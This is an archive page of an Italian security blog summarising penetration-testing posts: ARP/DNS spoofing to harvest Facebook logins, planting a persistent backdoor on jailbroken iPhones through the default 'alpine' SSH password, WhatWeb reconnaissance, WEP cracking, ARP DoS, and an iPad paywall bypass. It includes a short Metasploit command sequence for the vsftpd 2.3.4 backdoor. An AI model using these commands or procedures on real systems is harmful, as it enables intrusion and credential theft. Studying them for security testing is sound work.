,

Simulazione di un Penetration Test

network_security

Sommario

Viene presentata la simulazione di un attacco informatico, Penetration Testing, un metodo di valutare la sicurezza di un sistema o di una rete.
L’analisi viene condotta dalla posizione di un potenziale aggressore il quale attraverso più fasi individuerà una o più debolezze, tali vulnerabilità potranno essere sfruttare per compromettere il funzionamento del sistema.
Il Penetration Testing ha pertanto lo scopo di individuare vulnerabilità informatiche, rilevando il maggior numero di dettagli sulla vulnerabilità che permettono un accesso non autorizzato.

Abstract

Presents the simulation of a cyber attack, Penetration Testing, a method of evaluating the safety of a system or network.
The analysis is carried out from the position of a potential attacker, through multiple stages will identify one or more weaknesses, such vulnerability may be exploited to compromise the operation of the system.
The Penetration Testing therefore the aim of identifying computer vulnerabilities, noting many details on the vulnerabilities that allow unauthorized access.

Introduzione

La corsa agli armamenti è in atto, è quanto sostiene McAfee in un recente report, ma non per guerre materiali ma per attacchi informatici. La Sicurezza Informatica è ormai una priorità di tutti gli stati addirittura in alcuni casi maggiore della difesa missilistica, pertanto affronteremo in questo articolo una simulazione di un Penetration Test partendo dalle prime fasi di un attacco fino a fornire esempi pratici sulla metodologia applicata e i tools utilizzati.

L’attenzione verso la Sicurezza Informatica è cresciuta negli ultimi anni proporzionalmente alla diffusione di sistemi informatici e all’incremento della collettività nell’utilizzo dei PC. L’Hacker Etico è oggi una figura ricercata ed importante per grandi aziende o stati al fine di rilevare e sconfiggere eventuali minacce derivanti da attacchi informatici.

L’obbiettivo di un sistema protetto è di garantire l’accesso e l’integrità all’informazione ai soli utenti che ne hanno facoltà, impedendo l’accesso abusivo da parte di estranei o evitando l’alterazione delle informazioni in esso contenute.

Il Penetration Test è dunque il processo operativo in grado di valutare la sicurezza di un sistema o di una rete simulando l’attacco di un utente malintenzionato, il fine è l’ottenimento di informazioni protette o il controllo completo del sistema remoto sfruttando le proprie competenze, aiutandosi anche con software automatici. Auditor è colui che svolge tutte le attività di verifica operando con logiche medesime a quelle di un Hacker.

L’analisi intrapresa da un Auditor comprende più fasi ed ha l’obiettivo di evidenziare in un report le debolezze rilevate nella piattaforma, fornendo il maggior numero di informazioni sulle vulnerabilità sfruttate per ottenere l’accesso non autorizzato. Tutti i problemi rilevati vengono quindi presentati fornendo una stima chiara sull’attuale capacità di difesa e del livello di penetrazione raggiunto nei confronti delle vulnerabilità del sistema interne ed esterne ed eventualmente delle vulnerabilità fisiche.

L’Auditor non si fermerà ad analizzare i soli sistemi informatici ma potrà sfruttare tecniche di Ingegneria Sociale per verificare eventuali carenze formative del personale aziendale di fronte a tentativi di intrusione; questa modalità definita Hidden Mode prevede l’accordo esclusivamente con il consiglio amministrativo dell’azienda che commissiona le verifiche lasciando all’oscuro tutto il personale, compreso il settore IT dell’azienda.

Continua a leggere

Attacco ARP/DNS Spoofing per recuperare informazione private

Il blog Security Obscurity ha recentemente pubblicato un interessante video in cui mostra come un utente malintenzionato può recuperare le credenziale degli utenti che tentano di loggarsi in una piattaforma WEB in un ambiente LAN.

Per sferrare l’attacco viene usato l’applicativo SET simulando il recupero delle credenziali di accesso di un utente che tenta di collegarsi al noto Social Network Facebook, SET avrà il compito di clonare l’attuale homepage di Facebook e configurare un server in ascolto sulla porta 80 con il portale clonato.

Successivamente con un Arp-Scan vengono identificate le potenziali vittime nella rete e sfruttando Net Command di Evilsocket si esegue un Arp Spoofing per reindirizzare il traffico attraverso l’attaccante.

Infine si effettua un DNS Spoofing  così tutte le richieste inviate dalla vittima verranno reindirizzate all’attaccante, compresi i dati di login.

Per tutti i dettagli e le procedure potete consultare i video di apertura.

Creiamo una Backdoor permanente su iOS

Il blog Coresec ha recentemente pubblicato una interessante guida su come installare una Backdoor permanente su un dispositivo iOS (iPhone, iPod Touch e iPad) a patto che il sistema sia stata Jailbrekkato e quindi vi siano attivi i permessi di root.

Molti utenti effettuando la procedura di Jailbreak per avere facilmente accesso ai propri file o alle applicazioni (per poi essere illegalmente copiate), questa procedura prevede l’installazione del pacchetto OpenSSH che permette di accedere remotamente al dispositivo tramite una semplice sessione SSH. Purtroppo gli utenti incuranti della sicurezza non procedono a cambiare la password di default (alpine) e quindi basta ritrovarsi collegati ad una rete wireless pubblica per essere una probabile vittima di un attaccante.

In questo articolo supponiamo che Mario abbia effettuato il Jailbreak del suo iPhone, installato OpenSSH senza cambiare la password di default e si trova all’Università dove è disponibile una rete WiFi pubblica senza alcuna protezione di tipo “Client Isolation”.

L’attaccante procederà ad una scansione di rete all’interno della rete WiFi dell’università, individuerà l’iPhone di Mario con il quale aprirà semplicemente una sessione SSH. Successivamente procederà all’installazione della Backdoor sbd-1.36 sviluppata da Michel Blomgren.

Continua a leggere

iScanner – Utility per individuare eventuali pagine web infette

iScanner è un software scritto in Ruby che permette di individuare ed eventualmente rimuovere codice maligno all’interno delle pagine web, nello specifico l’applicativo permette:

  • Rilevamento di codice maligno all’interno delle pagine web;
  • Rimozione automatica di un eventuale codice sospetto all’interno delle pagine web;
  • Sistema di Backup dei file elaborati;
  • Database aggiornabile;
  • Report all’interno di un file di log delle minacce rilevate con la possibilità di inviare una eMail riepilogativa.

L’installazione del software è veramente molto semplice, una volta effettuato il Download dell’applicativo ed estratto l’archivio basterà digitare da shell il seguente comando:

./installer -i

successivamente lanciando il comando:

iscanner .h

è possibile visualizzare tutti i comandi disponibili che per comodità vi riepilogo dopo il salto.

Nell’immagine principale ho analizzato un sito web segnalatomi attraverso la Mailing List  Sikurezza.org (Italian Security Mailing List) nella quale un utente richiedeva maggiori informazioni di attendibilità del sito glandorepartners.com e come lo stesso utente prevedeva la pagina web contiene un codice Javascript offuscato.

Un codice Javascript offuscato solitamente è portatore di operazioni malevoli ma non è sempre scontato, pertanto conviene successivamente analizzare il codice estrapolandolo dal file di log e con un po’ di pazienza procediamo all’analisi.

Nell’esempio riportato il presunto codice malevolo invia ad ogni accesso al sito web una eMail all’indirizzo acollins [AT] glandorehealthcare.com informando il webmaster della nostra visita.

Continua a leggere

[VIDEO] Dimostrazione della BackDoor di VSFTPD

Versione:
vsftpd-2.3.4 del 30/06/2011

Dimostrazione Metasploit:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST localhost
set PAYLOAD cmd/unix/interact
exploit
id
uname -a

,

WhatWeb: web scanner!

WhatWeb è un tool sviluppato da Andrew Horton nel Novembre del 2009 ed ha come scopo l’estrapolazione di maggiori informazioni tecniche su uno o più host. Per informazioni tecniche si intendono tutti i dati rilevanti per una corretta analisi di IT Security quali la versione del
server Apache, PHP, CMS ed altre informazioni che andremo a scoprire in questo articolo.

Installazione

WhatWeb è un applicativo per ambienti Linux e richiede Ruby per poter funzionare ed altre importanti dipendenze, di seguito vi riporto un esempio di installazione in ambiente Ubuntu.

Innanzitutto installiamo Ruby da riga di comando con il seguente comando:

sudo apt-get install ruby ruby-dev libopenssl-ruby rubygems1.8

successivamente dovremo installare le seguenti dipendenze di Ruby, sempre da riga di comando imputiamo:

sudo gem install anemone em-resolv-replace json bson bson_ext mongo rchardet

Terminata questa prima fase scaricate WhatWeb dal sito di Andrew Norton (http://bit.ly/kspIud) e salvatelo dove preferite.

Avvio

L’avvio di WhatWeb è veramente semplicissimo, si utilizza esclusivamente da riga di comando, basterà digitare il comando ./whatweb che immediatamente ci apparirà a monitor l’help con tutti i possibili comandi da sfruttare.

Utilizzo

L’imponente Help che vi è apparso a monitor una volta lanciato l’applicativo non vi deve spaventare 🙂 l’utilizzo è abbastanza semplice e comunque vi riepilogherò le principali funzioni.
WhatWeb funziona attraverso dei plugin, più di 800, che permettono la corretta scansione di un host e vengono gestiti dal software in base al livello di “aggressione” che preferite:

  1. 1. PASSIVA: Effettua una sola richiesta sul target, fatta eccezione per i reindirizzamenti.
  2. 2. VUOTO: Livello ad oggi non implementato, verrà sviluppato in futuro.
  3. 3. AGGRESSIVO: Effettua una scansione approfondita del host principale
  4. 4. PESANTE: Scassinamento approfondito su tutti gli URL del host.

Il livello di default è il primo, ma personalmente vi consiglio di utilizzare sempre il terzo ed attivare la modalità VERBOSE in modo da avere nozioni più esplicative.
È inoltre possibile impostare l’User Agent, il server Proxy, l’esportazione personalizzata dei log e la possibilità di gestire i redirect.

Esempio

Lanciando il seguente comando:

whatweb –log-verbose=log.txt –aggression=3 www.iltrillo.com

andremo ad avviare il programma con il terzo livello di aggressività e gli chiederemo di generare un file “log.txt” contenente il risultato in modalità verbose della scansione ma di riportarci a monitor immediatamente le nozioni essenziali sul host www.iltrillo.com.
Visualizzando il risultato della scansione notiamo immediatamente che il software ha analizzato l’host da noi fornitogli ma ha proseguito ad analizzare il redirect www.iltrillo.com/forum/ dal quale possiamo trarre nozioni importanti.

Il server che ospita il nostro Host è di tipo Unix con Apache 2.0.63 e PHP 5.2.14. Si trova in Olanda, le nostre visite vengono monitorate tramite Google Analytics, il forum è basato sulla piattaforma vBulletin 4.0.4 e vi è un blog basato su WordPress.

Basterà pertanto approfondire le ricerche per capire se le versioni rilevate soffrono di Exploit permettendoci di compilare un completo report da IT Security Researcher.

,

WEP Cracking, with BackBox & WepCrackGUI!

Software Utilizzato

Per effettuare questa video guida ho utilizzato WepCrackGUI e la distribuzione Linux BackBox.

Note Legali

L’accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge art. 615-ter c.p.

La detenzione, la diffusione abusiva di codici di accesso a sistemi informatici/telematici o condotte prodromiche alla realizzazione di un acceso abusivo sono reati penale perseguibili secondo la legge 615-quater c.p.

Pertanto l’utilizzo di quanto esposto è da riferirsi a un test di sicurezza sulla propria rete o su una rete la quale il proprietario abbia espressamente dato il libero consenso al fine di giudicarne la sicurezza e porre rimedio ad eventuali vulnerabilità.

Gli Autori di questo Blog non potranno essere ritenuti responsabili di eventuali violazioni derivanti da un uso proprio o improprio delle tecniche esposte in questo articolo aventi uno scopo prettamente informativo e didattico.

ARP DoS con Scapy e TcpKill su BackBox

In questo video prodotto da Clshack vediamo come è possibile reindirizzare il traffico dati di un PC verso un host inesistente, oppure bloccare la connessione ad un singolo sito web con tcpkill durante un arp poisoning.

Trovate maggiori dettagli sulla configurazione di Scapy direttamente sul sito dell’autore.

Installare WepCrackGUI su BackBox

Oggi vedremo come installare WepCrackGUI sulla distribuzione BackBox dedicata al penetration testing, innanzitutto scarichiamo il software dal SourceForge e scompattiamolo dopo preferiamo.

Da riga di comando dovremo installare Mono e GTK necessari per il corretto avvio di WepCrakGUI, iniziamo con Mono! Avviamo la riga di comando e digitiamo:

sudo apt-get install mono-devel

ad installazione avvenuta passiamo subito alle librerie grafiche GTK:

sudo apt-get install gtk-sharp2

perfetto ora potremo avviare WepCrackGUI col classico comando

sudo ./wepcrack

,

[AGGIORNATO] iPad Newspapers Exploit

Descrizione

Questo video ha l’intento di dimostrarvi come sia possibile aggirare la metodologia di acquisto di una Rivista o Quotidiano nell’iPad o altro dispositivo iOS, permettendoci di accedere al contenuto desiderato in maniera totalmente gratuita evitando il pagamento del contributo richiesto attraverso In-App Purchase di Apple.

Nel video viene dimostrato esclusivamente la fattibilità di quanto dichiarato ma non verranno, volutamente, esposte le tecniche che portano a tale risultato a tutela del mondo dell’editoria Italiana ed Internazionale. Per questa motivazione non è visibile nel video la barra degli indirizzi del Browser Safari e non solo.

Funzionamento

Dopo una attenta analisi dei pacchetti di rete ricevuti ed inviati (packet sniffer) da ogni singola applicazione è possibile determinare la fonte dei quotidiani o riviste, successivamente sfruttando la tecnica di spoofing è possibile accedere direttamente da Safari al contenuto desiderato evitando il pagamento tramite l’In-App Purchase del contributo richiesto dall’editore.

Viene dimostrato il funzionamento dell’exploit su un ristretto numero di Riviste ed un Quotidiano ma è possibile estendere tale tecnica anche per la lettura di altre testate.

Conclusione

Tale dimostrazione ha lo scopo di incentivare gli sviluppatori a migliorare le loro applicazioni e a progettare con un maggiore accuratezza le infrastrutture di rete.